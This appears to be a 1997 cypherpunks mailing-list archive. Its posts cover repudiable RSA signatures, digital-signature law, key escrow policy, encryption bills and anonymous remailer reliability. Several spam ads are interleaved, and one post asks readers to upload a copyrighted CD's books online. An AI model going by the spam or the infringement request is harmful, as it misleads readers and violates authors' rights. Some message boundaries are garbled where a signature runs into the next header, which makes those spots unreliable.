Subject: The Website With Everything
Message-ID: <199706012075.WAA27903@server>


http://www.master-mall.com/

Everything you will ever need is here,

If you are looking to start a business,need to find a long lost love or
relative,or just like to play games,this is the place,
you will even find "hard to get information" on offshore banking,finding
people,very economical web page creation,and hosting
even bulk email advertising.

This place has it all.

Thanks for your time.







From stewarts at ix.netcom.com  Sun Jun 29 15:28:33 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Mon, 30 Jun 1997 06:28:33 +0800
Subject: Rep. Lofgren on McCain/Kerrey (good. long.)
In-Reply-To: <3.0.32.19970626233120.006c04f4@best.com>
Message-ID: <3.0.2.32.19970629151626.006e20f4@popd.ix.netcom.com>



At 09:41 AM 6/27/97 -0700, Tim May wrote:
>I also applaud what my local Congresscritterwoman says, and especially her
>quotation of the Dan Gillmor column from the local Silicon Valley
>newspaper. I saw this colum several days ago and was impressed, especially
>by the quote I include below.

Of course, after saying good things about the stupid
and offensive anti-encryption bill (applaud applaud),
she followed it up by reacting to the Supreme Court CDA decision
by announcing son-of-CDA, a bill to require ISPs to offer censorware.
Oh, well.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From pandemic at hotmail.com  Sun Jun 29 15:36:24 1997
From: pandemic at hotmail.com (some days weren't there at all)
Date: Mon, 30 Jun 1997 06:36:24 +0800
Subject: Digital Signatures and the Law...
Message-ID: <33B6DD1F.378F@hotmail.com>



> Has there been any concideration for the difference between a digital
> signature that is used only for authentication and one that is legally
> binding??
	What's the difference? When I sign a contract, I'm simply giving notice
that I accept its terms and conditions.
 
What I write in snail mail, however, may also be used in a court of law
to show that I actually thought or wrote whatever it was I wrote. Why
would e-mail be any different? 

> I would hate for these Digital Signature Laws make every e-mail message I
> sent a legally binding document. :(

That's the rub about nailing down identity...there's no such thing as
plausible deniability anymore.

In a court of law, assuming you could prove to a judge and jury that
digi sigs establish identity beyond a reasonable doubt, I'd imagine
that  anything signed, law or no law, would be legally binding insofar
as you actually wrote it.

I think I'm missing something...?
---------------------
"Deities do not fall ten floors to the basement" - Willis
pandemic at hotmail.com   please contact for PGP public key.
http://www.skylink.net/~bigdaddy






From aba at dcs.ex.ac.uk  Sun Jun 29 16:18:15 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Mon, 30 Jun 1997 07:18:15 +0800
Subject: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <3.0.2.32.19970629105616.03c32a40@mail.teleport.com>
Message-ID: <199706292309.AAA00265@server.test.net>




> Dr. Dobbs Essential Books on Cryptography and Security CD-ROM
> Price $99.95
>
> [juicy book list]
> 
> It is only available to US customers.

Bum!  Would anyone care to "remail" me one?  (I'll pay).

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <199706292306.AAA00260@server.test.net>




William Geiger  writes:
> Has there been any concideration for the difference between a
> digital signature that is used only for authentication and one that
> is legally binding??
>
> I would hate for these Digital Signature Laws make every e-mail
> message I sent a legally binding document. :(

Not a complete solution, but one technical fix, if you're sending
e-mail to an individual, rather than a post to a group such as this is
to use repudiable signatures.

These work by ensuring that the recipient and only the recipient can
forge the signature.  As the recipient can forge the signature it
falls back to his word against yours, which is the situation without
signatures.  However he (the recipient) will be convinced that you
wrote the signed document, or at least as convinced as he is that
someone else hasn't covertly obtained a copy of his private key.

If you're using a repudiable signature, it won't hold up in court, or
at least it shouldn't, if you can get the jury to grok that.

Personally I can't see any reason for individuals not to use
repudiable signatures for email.  Email is generally regarded as
private, and to give someone a signed email allows them to not only
post your email which you may not want, but to undeniably prove that
you wrote it!


Mathematically an easy way to create deniable signatures with RSA is:

Alice sending Bob a signed email.  We want:

	( X ^ A_pub ) xor ( Y ^ B_pub ) = hash( message )

Alice chooses random Y, and computes X:

	X = [ ( Y ^ B_pub ) XOR hash( message ) ] ^ A_pri

Now the repudiable digital signature is X and Y.

To verify the signature the recipient checks that:

	X ^ A_pub XOR Y ^ B_pub = hash( message )

Repudation is possible because Bob could also produce that same
signature with knowledge of B_pri, for Bob X is a random number, and Y
is calculated:

	Y = [ ( X ^ A_pub ) XOR hash( message ) ] ^ B_pri

(In practice you would have to store X and Y in random order,
otherwise if the sender always comes first, it's no longer repudiable.
As a result to check the signature you may have to swap X and Y if the
signature fails first time).

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: 



I've been working on this one.  It looks like a really great deal.

The cost should be reasonable.  And I hope nobody posts the text, or the
publishers won't ever do it again.

At 12:56 PM -0500 6/29/97, Alan Olsen wrote:
>While reading the latest issue of Dr. Dobbs, I found something of interest...
>
>Dr. Dobbs Essential Books on Cryptography and Security CD-ROM
>Price $99.95
>
>Includes the following books:
>
>-- Applied Cryptology, Cryptographic Protocols, and Computer Security
>Models by Richard Demillo
>
>-- Applied Cryptography: Protocols, Algorithms, and Source Code in C,
>Second Edition by Bruce Schneier
>
>-- Contemporary Cryptology: The Science of Information Integrity edited by
>Gustavus J. Simmons
>
>-- Cryptography and Data Security by Dourthy Denning
>
>-- Cryptography: A New Dimension in Computer Data Security by Carl Meyer
>
>-- Cryptography: Theory and Practice by Douglas Stinson
>
>-- Handbook of Applied Cryptography by Paul C. Van Oorschot, Scott A.
>Vanstone, and Alfred Menezes
>
>-- Military Cryptanalysis, Volumes I-IV by William Friedman
>
>-- "RSA Laboratories FAQ on Cryptography," "RSA Labratories Technical
>Reports," "RSA Laboratories Security Bullitens," and "CryptoBytes Newsletter".
>
>The CD-ROM also boasts having a search engine.  (No indication as to what
>OS.  Probably Wintel only.)
>
>It is supposed to be shipping in July.
>
>It is only available to US customers.
>
>Phone orders: 1-800-992-0549
>E-mail: orders at mfi.com
>Fax: 913-841-2624
>
>Mail:
>  Dr. Dobbs CD-ROM Library
>  1601 West 23rd St, Ste. 200
>  Lawrence, KS 66046-2703
>
>[Disclaimer: I have nothing to do with Dr. Dobbs other than being a
>subscriber.]
>
>I plan on getting it as it has at least one book I have been planning on
>buying that costs about what the CD-ROM runs...  I will tell people how
>good it is when I get it.

************************************************************************
* Bruce Schneier            2,000,000,000,000,000,000,000,000,002,000,
* Counterpane Systems       000,000,000,000,000,000,002,000,000,002,293
* schneier at counterpane.com  The last prime number...alphabetically!
* (612) 823-1098            Two vigintillion, two undecillion, two
* 101 E Minnehaha Pkwy      trillion, two thousand, two hundred and
* Minneapolis, MN  55419    ninety three.
* http://www.counterpane.com
************************************************************************







From gnu at toad.com  Sun Jun 29 19:57:59 1997
From: gnu at toad.com (John Gilmore)
Date: Mon, 30 Jun 1997 10:57:59 +0800
Subject: Australian "Walsh" report exposes the hole in key escrow
Message-ID: <199706300237.TAA24136@toad.com>



This report was finally obtained (after suing the Australian government
under Freedom of Information laws) by Electronic Frontiers Australia.
I haven't seen it yet; this is the first I'd heard that it is released.

The first paragraph does its best to scare people, but the gist is all
correct:  if you escrow authentication keys, digital signatures don't work.
If you don't escrow authentication keys, then key escrow doesn't work.

	John Gilmore

Forwarded-by: Hal Abelson (I don't know the original source).
     
     By John Davidson 
     
     Governments will be forced to completely undermine the emerging global 
     electronic commerce system if they want to prevent it being used by 
     criminals and for tax evasion, one of Australia's leading data 
     security experts has warned. 
     
     Professor William Caelli, head of the school of data communications at 
     Queensland University of Technology, said yesterday that it was all 
     but technically impossible to satisfy the competing needs of law 
     enforcement and international trade. 
     
     The difficulty was in allowing encrypted data passing along the 
     Internet to be monitored by law enforcement agencies, while at the 
     same time giving legal status to the digital signatures that will 
     underpin electronic trade. 
     
     A suppressed government report into encryption, written by a former 
     deputy director-general of ASIO, Mr Gerard Walsh, has agreed with 
     Professor Caelli. 
     
     The Commonwealth should abandon as "doomed to failure" attempts to 
     control encryption by keeping a copy of the passwords, or keys, in 
     escrow, Mr Walsh told The Australian Financial Review yesterday. 
     
     The field of cryptography is generally divided into encryption, where 
     data is scrambled for confidentiality; and authentication, where an 
     electronic document is scrambled or signed to prove who it came from 
     for legal purposes. 
     
     Policy under consideration in Australia, the US and the UK calls for a 
     separation of the two key types, with law-enforcement agencies having 
     some sort of access to all encryption keys while individual's 
     authentication keys are kept strictly private. 
     
     It is widely accepted that escrowing authentication keys would render 
     them legally useless for signing documents. 
     
     "If you ever allow people to get near authentication keys you'll 
     corrupt the administration of justice," said Mr Walsh. 
     
     The problem facing governments, according to Professor Caelli, is that 
     it is technically impossible to separate the two key types, since they 
     are both just very long numbers. 
     
     The thinking with the most currency, known as "key tagging", involves 
     adding extra data to the start or end of a digital key to identify 
     what it would be used for. 
     
     But key tagging can't work in a PC environment, Professor Caelli 
     claims. PC operating systems don't have enough security to prevent 
     users from simply taking the tag off an authentication key and adding 
     it to an encryption key, thereby bypassing government attempts to 
     escrow all encryption keys. 
     
     If, as it was likely, a dual-key infrastructure proved impossible in a 
     PC world, governments would either have to escrow all keys, rendering 
     digital certification meaningless, or escrow no keys at all, rendering 
     data surveillance totally ineffectual, he said. 
     
     Mr Steve Orlowski, a leading Government expert on cryptography, 
     acknowledged that it was now impossible to build a secure dual-key 
     infrastructure, but said that it was "possible that someone could make 
     a breakthrough". 
     
     "We're encouraging research into that area so we'll be able to make 
     the distinction," he said. 
     
     The US National Institute of Standards and Technology recently made a 
     worldwide plea for cryptography algorithms that can be used for 
     authentication and not for encryption. 
     
     Mr Walsh's report, commissioned by the federal government to look into 
     how it must legislate to satisfy security and privacy needs in the 
     face of strong cryptography, has only now come to light following a 
     successful Freedom of Information action by Electronic Frontiers 
     Australia. 
     
     The 96 page report, Review of policy relating to encryption 
     technologies, was due to be published in October last year, and called 
     for a period of public discussion about cryptography issues. 
     
     However, it was never released, and was only made available to the EFA 
     this week with 20 paragraphs deleted. 
     
     A second report prepared at the same time but with specific 
     recommendations is still secret, however. 
     
     According to Mr Walsh, trying to put the lid on encryption with key 
     escrow would be "an exercise in futility" because it would miss the 
     very target it was intended to catch: organised crime, money 
     laundering operations and terrorists. 
     
     These groups would either refuse to escrow their keys, or simply embed 
     a further level of encryption in their messages, he said.
     
     He also said in the report that it would also be futile to try to 
     regulate the length of crypto keys on a nation-by-nation basis because 
     "the notion of fixed national borders is simply anachronistic" thanks 
     to the Internet. 
     
     "It's not in the interests of the community's rights to privacy, nor 
     the needs of the business community, to . . . limit the strength of 
     cryptography simply to catch the occasional minnow," he said. 
     
     Law enforcement considerations should not automatically leapfrog 
     privacy considerations, and the government would have to mount a 
     "damned strong argument" every time it wanted to access someone's 
     encryption keys, he said. 
     
     Mr Walsh said he was uncertain why his report had been suppressed, 
     given that anything that might have been controversial was restricted 
     to the secret report he also submitted. 
     
     "I wrote (the first report) in the clear expectation that it would be 
     publicly released," he said. 






From ctn at idp.net  Mon Jun 30 11:27:00 1997
From: ctn at idp.net (ctn at idp.net)
Date: Mon, 30 Jun 1997 11:27:00 -0700 (PDT)
Subject: Fourth of July Special
Message-ID: 


Fourth of July Special!!!!!!   Call 1-800-767-0160 to order.

Brand New Hewlett Packard Toner Cartridges at Wholesale Prices!!!

Part #                     Printer Type                            Price                

92298A    EP-E      Series 4, 4M, 4+, 4, 5N, 5M    $89.00             
92295A    EP-S      Series II, III                              $69.00             
92275A    EP-L      Series IIP, IIIP                          $76.00
92274A    EP-P      Series 4L/4P                           $65.00
92291A    EP-N      Series IIISi/4Si                        $99.00
C3900A    EP-B      Series 4V/4MV                       $125.00
C3903A    EP-V      Series 5P, 5MP, 6P, 6MP        $76.00
C3906A    EP-A      Series 5L                                 $59.00
C3909A    EP-W     Series 5Si, 5SiMX, Mopier       $145.00

FX-1          Canon Fax L700 Series                           $81.00
FX-2          Canon Fax 5000/5500                            $71.00
FX-3          Canon Fax L4000                                    $71.00

51626A    InkJet     DeskJet, DeskJet+, 500C/
                               500J/505J/520/540/550C
                               560C/700                                $27.95

Order 10 or more cartridges and receive free shipping!!!!!

Ask about our other specials on Brand New Laser and InkJet Cartridges for your Printers, Faxes and Copiers.

Save up to 35% by using our 100% Guaranteed Remanufactured Cartridges

To Order:           via email:  ctn at idp.net
                          via FAX:   703-449-7904; 703-449-7905; 703-449-7906; 703-803-9887
                          Toll Free:  1-800-767-0160
                          snail mail:  Cartridge Technology Network, Inc.
                                           14110 Sullyfield Circle
                                           Chantilly, Virginia  22046


                                                   FAX ORDER FORM

Name________________________________________________________________________

Company Name________________________________________________________________

Address______________________________________________________________________

City/State/Zip_________________________________________________________________

Phone____________________________________FAX________________________________

EMAIL_______________________________________________________________________

Part #______________   Quantity __________    Part #______________  Quantity __________

Part # _____________    Quantity __________    Part # _____________   Quantity __________

Credit Card #:______________________________________________ Exp._______________

Signature:____________________________________________________________________

VISA/MC/Discover/American Express Accepted

Corporate Purchase Orders Accepted, please call 1-800-767-0160.


IF YOU DO NOT WISH TO RECEIVE FUTURE EMAIL, PLEASE REPLY TO 'ctn at idp.net' AND PLEASE PLACE 'REMOVE' IN THE SUBJECT AREA.







From 05643693 at prodigy.net  Mon Jun 30 12:00:13 1997
From: 05643693 at prodigy.net (05643693 at prodigy.net)
Date: Mon, 30 Jun 1997 12:00:13 -0700 (PDT)
Subject: Computer
Message-ID: <196656374004.GAA07044@prodigy.net>


              PLEASE READ THIS IF YOU WOULD LIKE TO
            EARN EXTRA CASH USING YOUR COMPUTER!!! 


                                 (Now in Mac format, too!)


     If you have even a basic knowledge of computers, you could be 
making money in your spare time.  There are many opportunities
 including: contract typing; data entry; advertising on your own Web  
page; and even testing new games.  Send for the packet, "Home 
Computer Income" which contains all the information you need to get 
started.  Included is a listing of several companies that offer this type
of work.  Order today, all  you need  is a few hours a week to create an
excellent second source of income!


           -Please print (or write out) this order form and mail to- 
------------------------------------------------------------------------------

M.E.C.
P.O. Box 2188
La Mesa, CA 91943-2188

 [  ] Yes, I would like to get started.  Please rush me the 
information.  Enclosed is $14.95 (plus $2.00 for shipping and 
handling, $16.95 total.)  If I am not completely satisfied, I
have 30 days to return the packet for a full refund (less S+H).
Please allow 5-7 business days for checks to clear. 

Name/E-Mail Address___________________________________

Address_______________________________________________

City,State,Zip__________________________________________

[] Send packet to my e-mail address (omit S&H.)
[] Send packet on 3.5" / 5.25�" / Mac disk.  (circle one.) 
         (disc is compatible with all word processors.) 
-----------------------------------------------------------------------------------






From jya at pipeline.com  Sun Jun 29 22:29:47 1997
From: jya at pipeline.com (John Young)
Date: Mon, 30 Jun 1997 13:29:47 +0800
Subject: details of 6/26 action on HR 695??
Message-ID: <1.5.4.32.19970629150513.0068c8f0@pop.pipeline.com>



geeman at best.com wrote:

>Are these the same amendments from before, or new ones?

The H.R.695 amendments referred to in the Congressional Record 
appear to be the same ones described in House Report 105-108:

   http://jya.com/hr105-108.txt

If there are others they have not yet been published.

----------

>Congressional Record: June 26, 1997 (House)]
>[Page H4834]
>From the Congressional Record Online via GPO Access [wais.access.gpo.gov]
>[DOCID:cr26jn97-74]
>
> 
>                  REPORTED BILL SEQUENTIALLY REFERRED
>
>  Under clause 5 of rule X, the following action was taken by the 
>Speaker:
>
>       H.R. 695. A bill to amend title 18, United States Code, to 
>     affirm the rights of U.S. persons to use and sell encryption 
>     and to relax export controls on encryption; with an 
>     amendment; referred to the Committees on Commerce, National 
>     Security, and the Permanent Select Committee on intelligence 
>     for a period ending not later than September 5, 1997, for 
>     consideration of such provisions of the bill and amendment 
>     reported by the Committee on the Judiciary as fall within the 
>     jurisdiction of those committees pursuant to clause 1(e) and 
>     (k), rule X and rule XLVIII, respectively.
>






From rah at shipwright.com  Sun Jun 29 22:52:22 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Mon, 30 Jun 1997 13:52:22 +0800
Subject: Hettinga's e$yllogism
Message-ID: 



At 2:13 pm -0400 on 6/28/97, Tim May wrote:

   Kent (With a Brick, Mr.) Chrispin emetted:
> >Governments have devalued currencies many many times in the past
> >without the need of key escrow...key escrow is an independent issue.
>
> Sure, but one of the potential advantages of strong crypto is the
> oft-discussed "denationalization of money." Leading bankers are beginning
> to see the light on this.

I wonder if Mr. Chrispin has ever heard of George Soros, or does the
adventures of St. George and the BofE dragon smack too much of, horrors,
capitalism? (Modulo Soros' ocassional self-flagellatory Atlantic article,
of course. Knight-errants are all into that mortifying the flesh stuff. Or,
maybe he's just trying to hedge his bets or something...)


Anyway, on the same note, and, as a result of the Wired article this month
on FC97 (I finally saw it, and it's not as bad as I thought it was going to
be. I guess as long as they spell my name right...), I just got request for
an interview from a staff writer from Forbes. He's writing on this very
thing, the macroeconomic effect of transanational digital cash. His very
words to me were:

> An editor of mine liked the story so much he told
> me to expand it (a.k.a. totally rewrite it) looking at whether or not a
> boom in the use of electronic money might not render governmental
> monetary control irrelevant as well. Looking at the issue from that
> angle is convincing me that the answer is yes, and that the real story
> here is about crypto.

He's going to interview me on Tuesday, after the DCSB meeting.

God help us all. :-).

When I replied to him, I gave him the whole nine yards, poor guy. Hope I
didn't scare him off: financial cryptography, the ubiquitous geodesic
economy, cryptomoney, etc. (Including, of course, the, um, "excrable"
e$yllogism. ;-)) I also gave him a whole passle of people to talk to about
it, including David Friedman, who reported on another list lately that he's
brought father Milton around to believing in the inefficiency of central
banking compared to free banking, particularly in a world of ubiquitous
internetworks and financial cryptography. I also sent him on to Tatsuo
Tanaka, who did a presentation about a year ago at DCSB on, you guessed it,
the transnationality of digital cash. :-). (Of course, Tatsuo's thinking
then was that some global run or another on free$banks would end in the
creation of a central bank of cypherspace, but, maybe, he's *much* better
now. :-))


I didn't include you on that list, Tim, because I remember you saying
something about not being bothered with such reporter.cruft anymore, and
how coupling financial cryptography with strong cryptography in the eyes of
the press and the financial establishment didn't make any sense, but, in
case you want him to misquote us *both* and scare all those capitalist
tools out there half to death, let me know and I'll send him your way.

Or, maybe such glad tidings will make them all want to help us dance a jig
on the eventual grave of the nation-state, you never know. The rich and
hoity-toity are very different from you and me. Well, *me*, anyway...

(Did I ever tell you the story about how my old man built a sailboat on St.
Thomas without ever having really sailed much, and, the boat was so fast
that it won *lots* of silver, so much silver that he made the New York Post
(I think) about it, and, having read that article, Malcom Forbes came down
to the islands that fall, and invited Pop to hang out with him on
Highlander for a few days?

No?

Well, my old man built a sailboat on St. Thomas, you see,...)


 "My country tis of thee, land of
plutography..." 

Cheers,
Bob Hettinga




-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From get at a.life  Mon Jun 30 05:47:39 1997
From: get at a.life (Immoral Majority)
Date: Mon, 30 Jun 1997 20:47:39 +0800
Subject: Government at Work (prudish idiocy)
Message-ID: <9706301229.AA11527@alpha.magibox.net>



from Wired News:

Oklahoma-am-Rhein: Police Seize Oscar Winner 
12:05 pm 

Oklahoma City police seized copies of
The Tin Drum, the 1979 Academy Award winner
for best foreign film, after a judge ruled the film
obscene under Oklahoma law. On Thursday,
police began removing the movie from video stores
and, using store records, tracking down those who
possessed rented copies. Oklahoma District
Judge Richard Freeman acted on a complaint by
Oklahomans for Children and Families, which was
upset by a scene in which a young boy has oral
sex with a teenage girl.






From raph at CS.Berkeley.EDU  Mon Jun 30 07:02:51 1997
From: raph at CS.Berkeley.EDU (Raph Levien)
Date: Mon, 30 Jun 1997 22:02:51 +0800
Subject: List of reliable remailers
Message-ID: <199706301350.GAA27408@kiwi.cs.berkeley.edu>



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list at kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys at kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list at kiwi.cs.berkeley.edu.

$remailer{"extropia"} = " cpunk pgp special";
$remailer{"mix"} = " cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = " cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = " cpunk pgp hash latent cut ek";
$remailer{"haystack"} = " cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = " cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = " cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = " cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = ' newnym pgp';
$remailer{"balls"} = " cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = " cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = " cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = ' alpha pgp';
$remailer{'weasel'} = ' newnym pgp';
$remailer{"reno"} = " cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = " cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = " cpunk pgp hash latent cut ek";
$remailer{"hidden"} = " cpunk pgp hash latent cut";
catalyst at netcom.com is _not_ a remailer.
lmccarth at ducie.cs.umass.edu is _not_ a remailer.
usura at replay.com is _not_ a remailer.
remailer at crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 30 Jun 97 6:45:39 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
weasel   config at weasel.owl.de             ++++++++++-+  1:32:04  99.98%
squirrel mix at squirrel.owl.de              ++++++++++-+  1:30:31  99.98%
jam      remailer at cypherpunks.ca           ****+*+**+*    15:41  99.89%
replay   remailer at replay.com              ****** +**+*     6:12  99.83%
reno     middleman at cyberpass.net          ++++ -.--+.-  5:33:46  99.72%
cyber    alias at alias.cyberpass.net        ******* **+*    13:41  99.37%
mix      mixmaster at remail.obscura.com     -.- ---.-*.-  7:57:51  99.03%
winsock  winsock at rigel.cyberpass.net      -------- -    7:15:22  97.91%
nym      config at nym.alias.net             ***###++##+#     4:58  97.29%
hidden   remailer at hidden.net              ######        4:44:03  40.46%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien






From andrade at netcom.com  Mon Jun 30 07:25:49 1997
From: andrade at netcom.com (Andrade Software Andrade Networking)
Date: Mon, 30 Jun 1997 22:25:49 +0800
Subject: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: 
Message-ID: <199706301418.HAA26242@netcom13.netcom.com>



Andrade Software & Networking
Andrad at Netcom.Com
X-Mailer: ELM [version 2.4 PL23]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Length: 399       

Bruce Schneier wrote:
> 
> The cost should be reasonable.  And I hope nobody posts the text, or the
> publishers won't ever do it again.
> 
You need some way to protect electronic copyrights.
Unfortunately, any widespread, practical method is probably at 
least 5 years in the future.

- Alex

-- 

Alex Alten
P.O. Box 11406
Pleasanton, CA  94588
USA

Andrade at Netcom.Com
(510) 417-0159   Fax/Voice






From paul at fatmans.demon.co.uk  Mon Jun 30 08:11:13 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Mon, 30 Jun 1997 23:11:13 +0800
Subject: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <3.0.2.32.19970629105616.03c32a40@mail.teleport.com>
Message-ID: 





> Dr. Dobbs Essential Books on Cryptography and Security CD-ROM
> Price $99.95
> 
> Includes the following books:



> It is only available to US customers.


Possibly some benevolent US cypherpunk who gets a copy of this CD could see 
that the texts from it find their way onto either an FTP server or 
somewhere like sci.crypt??? Anonymous responses and pointers expected if 
anyone does have the time and is good enough to do this.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From pooh at efga.org  Mon Jun 30 08:11:17 1997
From: pooh at efga.org (Robert A. Costner)
Date: Mon, 30 Jun 1997 23:11:17 +0800
Subject: Digital Signatures & THE LAW???
In-Reply-To: <199706291535.KAA05045@mailhub.amaranth.com>
Message-ID: <3.0.3.32.19970630105405.033c23cc@mail.atl.bellsouth.net>



-----BEGIN PGP SIGNED MESSAGE-----

At 10:35 AM 6/29/97 -0500, William H. Geiger III wrote:
>Has there been any concideration for the difference between a digital
>signature that is used only for authentication and one that is legally
>binding??
>
>I would hate for these Digital Signature Laws make every e-mail message I
>sent a legally binding document. :(

Examples of signatures that have previously been tested as legal binding 
signatures include not only actual signatures, but an 'X' and 'Mickey Mouse'. 
 The intention of "legally binding" is merely the proof of authentication.  
So yes, I would say that all digitally signed email in now legally binding, 
with one exception.

There has been a move to make a digital writing a writing only when both 
parties agree to it's usage.  There is a belief that some documents should 
not be digital.  An example is an eviction notice.  Stapling a diskette to 
the doorframe may not be acceptable notice for eviction, as compared with a 
paper notice.  Since most internet users are ineffective at managing their 
email, a legal notice deposited in an inbox may not be a desirable way to 
serve notice.


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQBVAwUBM7fIiUGpGhRXg5NZAQF59wIAvsnM/U9cs69KedfZzi7XuiF+U9KICWpz
vbZkDVKSwJAFvVRcKT0HDqDUlKgIa8UFo/eGfQ2oiAx+Z0lqFOYFHQ==
=ylgI
-----END PGP SIGNATURE-----

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh at efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key






From sunder at brainlink.com  Mon Jun 30 08:28:08 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Mon, 30 Jun 1997 23:28:08 +0800
Subject: Fwd: TSS OfficeLock: Protect Office documents w/PGP (fwd)mslock20.zip - TSS OfficeLock: Protect Office documents w/PGP
Message-ID: 



I have uploaded to Simtel.Net:

http://www.simtel.net/pub/simtelnet/win95/util/mslock20.zip
ftp://ftp.simtel.net/pub/simtelnet/win95/util/mslock20.zip   459405 bytes

mslock20.zip    TSS OfficeLock: Protect Office documents w/PGP

TSS OfficeLock v2.0 is a data security plug-in for Microsoft Office 95 &
97.  It protects files on desktop or laptop PCs, on networks, and over
the Internet.  OfficeLock automatically decrypts files when opened and
encrypts them again when they're closed.  Prevent intruders from opening
or changing your secured Word, Excel, Access, and Powerpoint files.  Uses
the unbreakable PGP data encryption engine.  32 Bit software for Win 95 &
Office 95 / 97.

Special requirements: None.

Shareware.  Uploaded on behalf of the author by Shareware.COM.

Author information:

  Dan Goodman
  Total System Solutions
  dan at officelock.com
  http://www.officelock.com








From geeman at best.com  Mon Jun 30 09:05:24 1997
From: geeman at best.com (geeman at best.com)
Date: Tue, 1 Jul 1997 00:05:24 +0800
Subject: Government at Work (prudish idiocy)
Message-ID: <3.0.32.19970630085326.006c5f1c@best.com>



At 07:29 AM 6/30/97 -0500, you wrote:
>
>from Wired News:
>
>Oklahoma-am-Rhein: Police Seize Oscar Winner 
>12:05 pm 
>
>Oklahoma City police seized copies of
>The Tin Drum, the 1979 Academy Award winner
>for best foreign film, after a judge ruled the film
>obscene under Oklahoma law. On Thursday,
>police began removing the movie from video stores
>and, 

using store records, tracking down those who
>possessed rented copies. 

 ..../\ last I heard, this was illegal without a warrant.  Of course, in
the pursuit of Justice and the Law I suppose the warrant was easily
obtained.  OR was is obtained at all?

Oklahoma District
